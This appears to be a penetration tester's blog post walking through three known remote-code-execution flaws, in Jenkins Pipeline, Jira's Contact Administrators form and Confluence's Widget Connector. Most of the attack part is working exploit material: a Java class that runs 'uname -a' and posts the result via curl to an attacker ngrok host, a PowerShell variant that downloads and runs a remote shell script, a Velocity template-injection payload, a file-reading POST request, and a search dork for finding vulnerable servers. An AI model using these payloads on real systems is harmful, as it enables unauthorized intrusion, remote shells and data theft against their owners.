I can't disclose the name of the target. RCE vulnerability was exploitable and here I can share how it was from my perspective. The root of the problem was in Pipeline feature, which makes writing scripts for software building, testing and delivering easier in Jenkins. The researcher found exploit chain utilizing CVE-2018–1000861 and CVE-2019–1003000 which bypass the need of Overall/Read permission for a pre-auth RCE. I will not share a deep understanding of that issue. If you really want this — just go to the Orange blog post. It's really interesting to understand and learn!

So, First I did a quick check to verify that issue still there. For such a thing, all you need to do is just going to:

http://example.com/jenkins/securityRealm/user/admin/

In response we should see "200 ok" with something like this:

Jenkins User Id: admin

So it means that we could be ready for making normal PoC on that environment. If you are lazy to reproduce all steps — just have fun with such a repository. But I did all the steps manually.

1. Saved that code as Orange.java:

public class Orange {
    public Orange(){
        try {
            String payload = "uname -a | curl -d @- http://myservertunnel.ngrok.io/";
            String[] cmds = {"/bin/bash", "-c", payload};
            java.lang.Runtime.getRuntime().exec(cmds);
        } catch (Exception e) { }
    }
}

As you see as proof of concept for executing something on the server I chose that:

uname -a | curl -d @- http://myservertunnel.ngrok.io/

2. Next, you need to compile the java*:

javac -target 1.8 Orange.java

I did “-target 1.8” because it was an issue with java classes on my Jenkins server. It’s always returned to me an error:

“exploit” has been compiled by a more recent version of the Java Runtime (class file version 54.0), this version of the Java Runtime only recognizes class file versions up to 52.0

Seems that when I tried to attack with compiled payload — it’s always failed with java 10 where it was expected to have java 8. Flag “-target 1.8” resolved that issue.

3. Execute — mkdir -p META-INF/services/

4. Execute — echo Orange > META-INF/services/org.codehaus.groovy.plugins.Runners

5. With executing that command "find ." you should see that structure:

./Orange.java
./Orange.class
./META-INF
./META-INF/services
./META-INF/services/org.codehaus.groovy.plugins.Runners

6. Execute — jar cvf poc-1.jar ./Orange.class ./META-INF/

That's how you bundle all things into a jar.

7. Make such folders /tw/orange/poc/1/ and put your compiled poc-1.jar to /tw/orange/poc/1/

8. After all, I ran local PHP server with command "php -S localhost:8080" and made it public with ngrok tunnel.

9. The final step was to make such GET request on my target:

http://example.com/jenkins/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)
@GrabResolver(name='orange.tw', root='http://myservertunnel.ngrok.io/')
@Grab(group='tw.orange', module='poc', version='1')
import Orange;

and in the response, you will see that:

{
  "column": 0,
  "line": 0,
  "message": "",
  "status": "success"
}

A few seconds later I detected incoming request with executed command in the request body from the server.

Command was executed successfully and we have valid RCE. The vulnerability report was made. The experience was reached :)

If you have a problem with executing commands on Windows environment — you can Invoke a Nishang powershell in Orange.java file:

public class Orange {
    public Orange(){
        try {
            String payload = "powershell iex(new-object net.webclient).downloadstring('http://yourserver.com/shell.ps1')";
            String[] cmds = {"cmd", "/c", payload};
            java.lang.Runtime.getRuntime().exec(cmds);
        } catch (Exception e) { }
    }
}

PS: Click 👏 “Clapping Hands” icon if you like this article 😉

If you need to auditing, collaboration and testing some projects, please get in touch with me: http://t.me/valyaroller. I like to be helpful and have valuable findings.

References

• Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!
• Playing with Jenkins RCE Vulnerability

And I don't want to make hype on that article as Avinash Jain with old Jira vulnerability in Shared filters. From my perspective, it's a shame to make such hype around a bug with a questionable impact which was known for a long time ago.

1. Jira Remote Code Execution in Contact Administrators form (CVE-2019–11581)

When it was discovered, I found first that video from Knownsec 404 team

But from that time it was no POC for exploitation.

But next, I found nice research from ruvlol where he discovered pretty well that the root of the problem in ContactAdministrators!default.jspa form. Also from his article, it was simple to understand that Knownsec 404 team was mistaken in numbers of affected instances. To find all public instances with such functionality you just need to search for :

inurl:secure/ContactAdministrators!default.jspa

So the exploitation process is very simple.

1. Check from the dashboard page that your Jira instance supports Contact Administrator form.

2. Next, it's better to check the accessibility of that page from URL like:

https://jira.example.com/secure/ContactAdministrators!default.jspa

3. Prepare your BurpCollaborator or your server for getting request as POC. I used ngrok tunnel. And fill in the contact form with that payload.

$i18n.getClass().forName(‘java.lang.Runtime’).getMethod(‘getRuntime’,null).invoke(null,null).exec(‘curl http://your-testing-server.com/rcetest?a=a').waitFor()

That payload making just simple curl request to your server.

4. Confirm your results with getting a request from Vulnerable Jira environment.

For this issue to be exploitable at least one of the following conditions must be met:

• an SMTP server has been configured in Jira and the Contact Administrators Form is enabled; or
• an SMTP server has been configured in Jira and an attacker has “JIRA Administrators” access.

So now you know how to make such easy RCE attack in vulnerable Jira environment if your version is still vulnerable. You can check affected versions here.

2. Confluence Remote Code Execution via Widget Connector macro (CVE-2019–3396)

That fresh vulnerability came to me with one target where I did a security assessment. And it was some signs that my testing target could be vulnerable due RCE via Widget Connector. With such type of vulnerabilities, it's hard to make good POC. Because of the complexity of that issue. I spent a few time to understand the root of the problem from Knownsec 404 team in their article. And I can say that it's so exciting to understand such research articles and see some results on your environment.

So I reproduced all steps on company Confluence. It was a valid issue and the entire server was shut down as vulnerable for mitigation work.

Here is my POC:

1. So first it’s an issue with Widget Connector. Which can lead to RCE on the server. Better to check first is your version still vulnerable due to that issue. If yes. Go next.

Just find a Youtube video to insert, click Preview, use Burpsuite to capture the package.

2. Try to make such POST request with malicious payload in _template parameter. Also if you don’t have access to your confluence — just try to craft your request from my mock in that article. And don't forget to renew Cookie header.

POST /rest/tinymce/1/macro/preview HTTP/1.1

Referer: https://confluence.yourtarget.com/

Content-Type: application/json; charset=utf-8

Cookie: BIGipServerrb-p_cp-confluence_https_pool=!BUsntvn1os/4xuQWbHAsuN+1fsz22TIKPNFouw==;JSESSIONID=E3A43CEFE1932634CD80E301057C379D

Accept: */*

Accept-Encoding: gzip,deflate

Content-Length: 173

Host: confluence.yourtarget.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36

Connection: Keep-alive

{"contentId":"123","macro":{"name":"widget","body":"","params":{"url":"https://www.youtube.com/watch?v=1","width":"200","height":"200","_template":"/WEB-INF/web.xml"}}}

As you see I was requested for /WEB-INF/web.xml. When I was confirmed with the Windows environment on the other side. I was requested for file:///C:/Windows/ directory. And in an embedded object, I found a list of all data inside from the server.

And the final step will be to execute the command. But at this point, it was enough to show valid POC for the company where I did a security assessment.

As you see both Atlassian RCE is pretty simple to exploit. And all you need now is to have the "right" vulnerable version of the Atlassian products ;)

PS: Click 👏 “Clapping Hands” icon if you like this article 😉

If you need to auditing, collaboration and testing some projects, please get in touch with me: http://t.me/valyaroller. I like to be helpful and have valuable findings.